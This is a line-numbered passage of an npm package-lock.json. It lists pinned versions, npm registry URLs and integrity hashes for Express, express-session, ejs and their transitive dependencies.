846 | "destroy": "1.2.0",
847 | "http-errors": "2.0.0",
848 | "iconv-lite": "0.4.24",
849 | "on-finished": "2.4.1",
850 | "qs": "6.11.0",
851 | "raw-body": "2.5.1",
852 | "type-is": "~1.6.18",
853 | "unpipe": "1.0.0"
854 | }
855 | },
856 | "brace-expansion": {
857 | "version": "1.1.11",
858 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
859 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
860 | "requires": {
861 | "balanced-match": "^1.0.0",
862 | "concat-map": "0.0.1"
863 | }
864 | },
865 | "bytes": {
866 | "version": "3.1.2",
867 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
868 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
869 | },
870 | "call-bind": {
871 | "version": "1.0.2",
872 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
873 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
874 | "requires": {
875 | "function-bind": "^1.1.1",
876 | "get-intrinsic": "^1.0.2"
877 | }
878 | },
879 | "chalk": {
880 | "version": "4.1.2",
881 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
882 | "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
883 | "requires": {
884 | "ansi-styles": "^4.1.0",
885 | "supports-color": "^7.1.0"
886 | }
887 | },
888 | "color-convert": {
889 | "version": "2.0.1",
890 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
891 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
892 | "requires": {
893 | "color-name": "~1.1.4"
894 | }
895 | },
896 | "color-name": {
897 | "version": "1.1.4",
898 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
899 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
900 | },
901 | "concat-map": {
902 | "version": "0.0.1",
903 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
904 | "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
905 | },
906 | "content-disposition": {
907 | "version": "0.5.4",
908 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
909 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
910 | "requires": {
911 | "safe-buffer": "5.2.1"
912 | }
913 | },
914 | "content-type": {
915 | "version": "1.0.4",
916 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
917 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA=="
918 | },
919 | "cookie": {
920 | "version": "0.5.0",
921 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
922 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw=="
923 | },
924 | "cookie-signature": {
925 | "version": "1.0.6",
926 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
927 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
928 | },
929 | "debug": {
930 | "version": "2.6.9",
931 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
932 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
933 | "requires": {
934 | "ms": "2.0.0"
935 | }
936 | },
937 | "depd": {
938 | "version": "2.0.0",
939 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
940 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
941 | },
942 | "destroy": {
943 | "version": "1.2.0",
944 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
945 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="
946 | },
947 | "ee-first": {
948 | "version": "1.1.1",
949 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
950 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
951 | },
952 | "ejs": {
953 | "version": "3.1.8",
954 | "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.8.tgz",
955 | "integrity": "sha512-/sXZeMlhS0ArkfX2Aw780gJzXSMPnKjtspYZv+f3NiKLlubezAHDU5+9xz6gd3/NhG3txQCo6xlglmTS+oTGEQ==",
956 | "requires": {
957 | "jake": "^10.8.5"
958 | }
959 | },
960 | "encodeurl": {
961 | "version": "1.0.2",
962 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
963 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="
964 | },
965 | "escape-html": {
966 | "version": "1.0.3",
967 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
968 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
969 | },
970 | "etag": {
971 | "version": "1.8.1",
972 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
973 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="
974 | },
975 | "express": {
976 | "version": "4.18.2",
977 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
978 | "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==",
979 | "requires": {
980 | "accepts": "~1.3.8",
981 | "array-flatten": "1.1.1",
982 | "body-parser": "1.20.1",
983 | "content-disposition": "0.5.4",
984 | "content-type": "~1.0.4",
985 | "cookie": "0.5.0",
986 | "cookie-signature": "1.0.6",
987 | "debug": "2.6.9",
988 | "depd": "2.0.0",
989 | "encodeurl": "~1.0.2",
990 | "escape-html": "~1.0.3",
991 | "etag": "~1.8.1",
992 | "finalhandler": "1.2.0",
993 | "fresh": "0.5.2",
994 | "http-errors": "2.0.0",
995 | "merge-descriptors": "1.0.1",
996 | "methods": "~1.1.2",
997 | "on-finished": "2.4.1",
998 | "parseurl": "~1.3.3",
999 | "path-to-regexp": "0.1.7",
1000 | "proxy-addr": "~2.0.7",
1001 | "qs": "6.11.0",
1002 | "range-parser": "~1.2.1",
1003 | "safe-buffer": "5.2.1",
1004 | "send": "0.18.0",
1005 | "serve-static": "1.15.0",
1006 | "setprototypeof": "1.2.0",
1007 | "statuses": "2.0.1",
1008 | "type-is": "~1.6.18",
1009 | "utils-merge": "1.0.1",
1010 | "vary": "~1.1.2"
1011 | }
1012 | },
1013 | "express-session": {
1014 | "version": "1.17.3",
1015 | "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.17.3.tgz",
1016 | "integrity": "sha512-4+otWXlShYlG1Ma+2Jnn+xgKUZTMJ5QD3YvfilX3AcocOAbIkVylSWEklzALe/+Pu4qV6TYBj5GwOBFfdKqLBw==",
1017 | "requires": {
1018 | "cookie": "0.4.2",
1019 | "cookie-signature": "1.0.6",
1020 | "debug": "2.6.9",
1021 | "depd": "~2.0.0",
1022 | "on-headers": "~1.0.2",
1023 | "parseurl": "~1.3.3",
1024 | "safe-buffer": "5.2.1",
1025 | "uid-safe": "~2.1.5"
1026 | },
1027 | "dependencies": {
1028 | "cookie": {
1029 | "version": "0.4.2",
1030 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz",
1031 | "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA=="
1032 | }
1033 | }
1034 | },
1035 | "filelist": {
1036 | "version": "1.0.4",
1037 | "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
1038 | "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
1039 | "requires": {
1040 | "minimatch": "^5.0.1"
1041 | },
1042 | "dependencies": {
1043 | "brace-expansion": {
1044 | "version": "2.0.1",
1045 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
1046 | "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
1047 | "requires": {
1048 | "balanced-match": "^1.0.0"
1049 | }
1050 | },
1051 | "minimatch": {
1052 | "version": "5.1.1",
1053 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.1.tgz",
1054 | "integrity": "sha512-362NP+zlprccbEt/SkxKfRMHnNY85V74mVnpUpNyr3F35covl09Kec7/sEFLt3RA4oXmewtoaanoIf67SE5Y5g==",
1055 | "requires": {
1056 | "brace-expansion": "^2.0.1"
1057 | }
1058 | }
1059 | }
1060 | },
1061 | "finalhandler": {
1062 | "version": "1.2.0",
1063 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
1064 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
1065 | "requires": {
1066 | "debug": "2.6.9",
1067 | "encodeurl": "~1.0.2",
1068 | "escape-html": "~1.0.3",
1069 | "on-finished": "2.4.1",
1070 | "parseurl": "~1.3.3",
1071 | "statuses": "2.0.1",
1072 | "unpipe": "~1.0.0"
1073 | }
1074 | },
1075 | "forwarded": {
1076 | "version": "0.2.0",
1077 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
1078 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
1079 | },
1080 | "fresh": {
1081 | "version": "0.5.2",
1082 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
1083 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="
1084 | },
1085 | "function-bind": {
1086 | "version": "1.1.1",
1087 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
1088 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
1089 | },
1090 | "get-intrinsic": {
1091 | "version": "1.1.3",
1092 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz",
1093 | "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==",
1094 | "requires": {
1095 | "function-bind": "^1.1.1",
1096 | "has": "^1.0.3",
1097 | "has-symbols": "^1.0.3"
1098 | }
1099 | },
1100 | "has": {
1101 | "version": "1.0.3",
1102 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
1103 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
1104 | "requires": {
1105 | "function-bind": "^1.1.1"
1106 | }
1107 | },
1108 | "has-flag": {
1109 | "version": "4.0.0",
1110 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
1111 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
1112 | },
1113 | "has-symbols": {
1114 | "version": "1.0.3",
1115 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
1116 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A=="
1117 | },
1118 | "http-errors": {
1119 | "version": "2.0.0",
1120 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
1121 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
1122 | "requires": {
1123 | "depd": "2.0.0",
1124 | "inherits": "2.0.4",
1125 | "setprototypeof": "1.2.0",
1126 | "statuses": "2.0.1",
1127 | "toidentifier": "1.0.1"
1128 | }
1129 | },
1130 | "iconv-lite": {
1131 | "version": "0.4.24",
1132 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
1133 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
1134 | "requires": {
1135 | "safer-buffer": ">= 2.1.2 < 3"
1136 | }
1137 | },
1138 | "inherits": {
1139 | "version": "2.0.4",
1140 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
1141 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
1142 | },
1143 | "ipaddr.js": {
1144 | "version": "1.9.1",
1145 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
1146 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
1147 | },
1148 | "jake": {
1149 | "version": "10.8.5",
1150 | "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz",
1151 | "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==",
1152 | "requires": {
1153 | "async": "^3.2.3",
1154 | "chalk": "^4.0.2",
1155 | "filelist": "^1.0.1",
1156 | "minimatch": "^3.0.4"
1157 | }
1158 | },
1159 | "media-typer": {
1160 | "version": "0.3.0",
1161 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
1162 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="
1163 | },
1164 | "merge-descriptors": {
1165 | "version": "1.0.1",
1166 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
1167 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
1168 | },
1169 | "methods": {
1170 | "version": "1.1.2",
1171 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
1172 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="
1173 | },
1174 | "mime": {
1175 | "version": "1.6.0",
1176 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
1177 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
1178 | },
1179 | "mime-db": {
1180 | "version": "1.52.0",
1181 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
1182 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
1183 | },
1184 | "mime-types": {
1185 | "version": "2.1.35",
1186 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
1187 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
1188 | "requires": {
1189 | "mime-db": "1.52.0"
1190 | }
1191 | },
1192 | "minimatch": {
1193 | "version": "3.1.2",
1194 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
1195 | "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
1196 | "requires": {
1197 | "brace-expansion": "^1.1.7"
1198 | }
1199 | },
1200 | "ms": {
1201 | "version": "2.0.0",
1202 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
1203 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
1204 | },
1205 | "negotiator": {
1206 | "version": "0.6.3",
1207 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
1208 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
1209 | },
1210 | "object-inspect": {
1211 | "version": "1.12.2",
1212 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz",
1213 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ=="
1214 | },
1215 | "on-finished": {
1216 | "version": "2.4.1",
1217 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
1218 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
1219 | "requires": {
1220 | "ee-first": "1.1.1"
1221 | }
1222 | },
1223 | "on-headers": {
1224 | "version": "1.0.2",
1225 | "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
1226 | "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
1227 | },
1228 | "parseurl": {
1229 | "version": "1.3.3",
1230 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
1231 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
1232 | },
1233 | "path-to-regexp": {
1234 | "version": "0.1.7",
1235 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
1236 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ=="
1237 | },
1238 | "proxy-addr": {
1239 | "version": "2.0.7",
1240 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
1241 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
1242 | "requires": {
1243 | "forwarded": "0.2.0",
1244 | "ipaddr.js": "1.9.1"
1245 | }
1246 | },
1247 | "qs": {
1248 | "version": "6.11.0",
1249 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz",
1250 | "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==",
1251 | "requires": {
1252 | "side-channel": "^1.0.4"
1253 | }
1254 | },
1255 | "random-bytes": {
1256 | "version": "1.0.0",
1257 | "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz",
1258 | "integrity": "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ=="
1259 | },
1260 | "range-parser": {
1261 | "version": "1.2.1",
1262 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
1263 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
1264 | },
1265 | "raw-body": {
1266 | "version": "2.5.1",
1267 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz",
1268 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==",
1269 | "requires": {
1270 | "bytes": "3.1.2",
1271 | "http-errors": "2.0.0",
1272 | "iconv-lite": "0.4.24",
1273 | "unpipe": "1.0.0"
1274 | }
1275 | },
1276 | "safe-buffer": {
1277 | "version": "5.2.1",
1278 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
1279 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
1280 | },
1281 | "safer-buffer": {
1282 | "version": "2.1.2",
1283 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
1284 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
1285 | },
1286 | "send": {
1287 | "version": "0.18.0",
1288 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
1289 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
1290 | "requires": {
1291 | "debug": "2.6.9",
1292 | "depd": "2.0.0",
1293 | "destroy": "1.2.0",
1294 | "encodeurl": "~1.0.2",
1295 | "escape-html": "~1.0.3",
1296 | "etag": "~1.8.1",
1297 | "fresh": "0.5.2",
1298 | "http-errors": "2.0.0",
1299 | "mime": "1.6.0",
1300 | "ms": "2.1.3",
1301 | "on-finished": "2.4.1",
1302 | "range-parser": "~1.2.1",
1303 | "statuses": "2.0.1"
1304 | },
1305 | "dependencies": {
1306 | "ms": {
1307 | "version": "2.1.3",
1308 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
1309 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
1310 | }
1311 | }
1312 | },
1313 | "serve-static": {
1314 | "version": "1.15.0",
1315 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
1316 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
1317 | "requires": {
1318 | "encodeurl": "~1.0.2",
1319 | "escape-html": "~1.0.3",
1320 | "parseurl": "~1.3.3",
1321 | "send": "0.18.0"
1322 | }
1323 | },
1324 | "setprototypeof": {
1325 | "version": "1.2.0",
1326 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
1327 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
1328 | },
1329 | "side-channel": {
1330 | "version": "1.0.4",
1331 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
1332 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
1333 | "requires": {
1334 | "call-bind": "^1.0.0",
1335 | "get-intrinsic": "^1.0.2",
1336 | "object-inspect": "^1.9.0"
1337 | }
1338 | },
1339 | "statuses": {
1340 | "version": "2.0.1",
1341 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
1342 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="
1343 | },
1344 | "supports-color": {
1345 | "version": "7.2.0",
1346 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
1347 | "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
1348 | "requires": {
1349 | "has-flag": "^4.0.0"
1350 | }
1351 | },
1352 | "toidentifier": {
1353 | "version": "1.0.1",
1354 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
1355 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="
1356 | },
1357 | "type-is": {
1358 | "version": "1.6.18",
1359 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
1360 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
1361 | "requires": {
1362 | "media-typer": "0.3.0",
1363 | "mime-types": "~2.1.24"
1364 | }
1365 | },
1366 | "uid-safe": {
1367 | "version": "2.1.5",
1368 | "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz",
1369 | "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==",
1370 | "requires": {
1371 | "random-bytes": "~1.0.0"
1372 | }
1373 | },
1374 | "unpipe": {
1375 | "version": "1.0.0",
1376 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
1377 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="
1378 | },
1379 | "utils-merge": {
1380 | "version": "1.0.1",
1381 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
